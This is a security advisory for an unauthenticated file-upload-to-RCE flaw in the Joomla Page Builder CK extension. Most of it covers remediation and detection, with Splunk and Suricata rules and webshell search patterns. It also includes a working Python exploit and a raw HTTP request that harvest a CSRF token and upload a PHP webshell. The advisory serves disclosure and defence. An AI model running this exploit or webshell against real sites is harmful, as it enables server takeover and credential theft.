CVE-2026-56290: Joomlack Page Builder CK Unauthenticated File Upload to RCE

Background

Page Builder CK is a Joomla extension from joomlack.fr that provides a front-end page building interface for Joomla site administrators and editors. The extension allows construction of complex page layouts using a drag-and-drop UI. It is a widely used component in the Joomla ecosystem, primarily in European and French-speaking deployments but with a global install base.

CVE-2026-56290 is an unauthenticated arbitrary file upload vulnerability affecting Page Builder CK in all versions up to and including 3.5.10. The component’s public front-end endpoint accepts file uploads with no authentication or permission check. The only access gate — a Joomla anti-CSRF token — is obtainable by any visitor from the site’s own public pages without any account, making the protection functionally absent against a motivated attacker.

Active exploitation in the wild began within hours of the patch release on June 27, 2026. CISA added CVE-2026-56290 to the Known Exploited Vulnerabilities catalogue with a July 10, 2026 remediation deadline. Phil Taylor of mySites.guru is credited as the discoverer. The vulnerability is classified under CWE-284 (Improper Access Control).

Technical Mechanism

Page Builder CK exposes a file upload endpoint on the public front end of the Joomla site. The endpoint is intended for authorised editors to upload media assets during page building sessions, but under vulnerable versions it does not check whether the requesting user is logged in or has any edit permission. The sole validation mechanism is a Joomla anti-CSRF token.

The CSRF token is embedded in Joomla’s front-end HTML and is readable by any visitor without authentication. An attacker can fetch any public page on the target site, extract the token from the HTML, and use it in the upload request. This reduces the effective barrier to exploitation to a single HTTP GET request to retrieve the token followed by a POST to upload the payload.

# CVE-2026-56290 exploitation — unauthenticated file upload via Page Builder CK
# CSRF token obtained from public page, no account or session required

import requests
import re

TARGET = "https://target.joomla-site.com"

# Step 1: Get CSRF token from any public page
resp = requests.get(TARGET)
token = re.search(r'name="([a-f0-9]{32})" value="1"', resp.text)
csrf_token = token.group(1) if token else None

# Step 2: Upload PHP webshell using the harvested CSRF token
upload_url = f"{TARGET}/index.php?option=com_pagebuilderck&task=upload.upload"
webshell = "<?php system($_REQUEST['cmd']); ?>"
files = {
    "file": ("shell.php", webshell, "application/octet-stream"),
    csrf_token: "1"
}
upload_resp = requests.post(upload_url, files=files)
print(upload_resp.text)  # Confirms upload path in JSON response

# Step 3: Execute uploaded webshell
shell_url = f"{TARGET}/images/com_pagebuilderck/shell.php"
cmd_resp = requests.get(shell_url, params={"cmd": "id"})
print(cmd_resp.text)  # uid=33(www-data) gid=33(www-data)

# Manual exploitation — POST to Page Builder CK upload endpoint
POST /index.php?option=com_pagebuilderck&task=upload.upload HTTP/1.1
Host: target.joomla-site.com
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="[csrf_token_value]"

1
------Boundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/octet-stream

<?php system($_REQUEST['cmd']); ?>
------Boundary--

The uploaded file typically lands in a web-accessible path under /images/com_pagebuilderck/ or a configured upload directory. Because the directory serves PHP files directly (no execution restriction), the webshell is immediately callable.

The key distinction from typical CSRF-protected endpoints is that Joomla’s anti-CSRF tokens are session-bound but not user-bound in certain contexts — any visitor who fetches a page that includes the token form field can extract and submit a valid token. This makes the CSRF mechanism ineffective as an authentication substitute when the actual authentication check is absent.

Real-World Exploitation Evidence

Exploitation in the wild was observed within hours of the Page Builder CK 3.6.0 patch release on June 27, 2026. The Belgium Centre for Cybersecurity (CCB) published an advisory warning of active exploitation, indicating impacts to Belgian public sector and commercial organisations running Joomla with Page Builder CK.

Observed attack patterns include:

• Automated scanning for Joomla sites with the com_pagebuilderck component present
• Immediate webshell deployment following detection of a vulnerable instance
• Secondary payload execution including reconnaissance scripts that enumerate the server environment, running processes, and connected network hosts
• Exfiltration of configuration.php to obtain database credentials

The combination of a large Joomla deployment base, a simple CSRF-token-bypass rather than full authentication bypass, and public documentation of the vulnerability class makes this a high-activity exploitation target.

Impact Assessment

• Unauthenticated RCE with only CSRF token — any visitor to the Joomla site can obtain the CSRF token and upload a PHP webshell, achieving code execution in the web server process context
• No login, no permissions required — there is no Joomla session, user account, or edit permission required; the check that should gate the upload is simply absent
• Full server access — a PHP webshell in the web root gives the attacker read/write access to all web-accessible files and the ability to execute system commands
• Database credential extraction — configuration.php in the Joomla root contains database credentials accessible by the web process
• Persistent backdoor — webshells survive extension updates if not explicitly cleaned; attackers may install secondary persistence mechanisms
• Website defacement and malware delivery — compromised Joomla sites are commonly weaponised for SEO spam injection, malware distribution, or phishing page hosting

Affected Versions

Remediation Steps

1. Update Page Builder CK to version 3.6.0 immediately via the Joomla Extension Manager:

# Joomla CLI update check
php cli/joomla.php extension:update --list

# Apply available updates
php cli/joomla.php extension:update

# Verify installed version of Page Builder CK in:
# Joomla Administrator > Extensions > Manage > Installed
# Look for "Page Builder CK" and confirm version >= 3.6.0

2. Scan for uploaded webshells in Page Builder CK upload directories:

# Find PHP files in Page Builder CK directories
find /var/www/html/images/com_pagebuilderck/ -name "*.php" -type f 2>/dev/null
find /var/www/html/media/com_pagebuilderck/ -name "*.php" -type f 2>/dev/null

# Search for webshell content patterns across the Joomla install
grep -r --include="*.php" -l "system\s*(\|exec\s*(\|passthru\s*(\|shell_exec\s*(" \
  /var/www/html/images/com_pagebuilderck/ 2>/dev/null

# List recently modified files (last 14 days)
find /var/www/html/ -name "*.php" -newer /var/www/html/index.php -mtime -14 -type f 2>/dev/null

3. Restrict PHP execution in upload directories at the web server level as an additional defence layer:

# Apache — prevent PHP execution in Page Builder CK upload directories
<Directory "/var/www/html/images/com_pagebuilderck">
    php_flag engine off
    Options -ExecCGI
    AddHandler cgi-script .php .php3 .php4 .php5 .phtml .pl .py .jsp .asp
    Options -Indexes
</Directory>

# Nginx — block PHP execution in component upload paths
location ~* /images/com_pagebuilderck/.*\.php$ {
    deny all;
    return 403;
}

4. Block the upload endpoint at the WAF or proxy layer until patching is confirmed:

# WAF rule: block Page Builder CK upload endpoint access
# Match requests containing: option=com_pagebuilderck AND task=upload
# Block with 403 response

5. Rotate database credentials if configuration.php was accessible to the web process during the exploitation window — any database credentials stored in the file should be considered compromised

Detection Guidance

Monitor web server access logs and filesystem events for the following:

• POST requests to /index.php with option=com_pagebuilderck and task=upload.upload — this endpoint should not receive POST requests from end users
• New PHP files appearing under /images/com_pagebuilderck/ or /media/com_pagebuilderck/
• HTTP requests for PHP files from the Page Builder CK upload directory that return 200 status codes
• GET requests to configuration.php from non-localhost IP addresses or unusual processes

# Splunk — detect Page Builder CK upload exploit attempts
index=webserver sourcetype=access_combined
| where match(uri_query, "(?i)option=com_pagebuilderck") AND match(uri_query, "(?i)task=upload") AND method="POST"
| stats count by src_ip, host, uri_stem, uri_query, _time
| sort -_time

# Suricata — detect webshell upload to Page Builder CK
alert http any any -> $HTTP_SERVERS any (msg:"CVE-2026-56290 Page Builder CK Unauthenticated File Upload"; flow:established,to_server; content:"POST"; http_method; content:"com_pagebuilderck"; http_uri; content:"task=upload"; http_uri; content:".php"; http_client_body; sid:2026562901; rev:1;)

alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (msg:"CVE-2026-56290 Page Builder CK Webshell Access"; flow:established,to_server; content:"/images/com_pagebuilderck/"; http_uri; content:".php"; http_uri; sid:2026562902; rev:1;)

Timeline

References

• NVD — CVE-2026-56290
• CISA KEV — CVE-2026-56290
• CCB Belgium Advisory — CVE-2026-56290
• mySites.guru — PageBuilder CK RCE Write-up
• Page Builder CK by Joomlack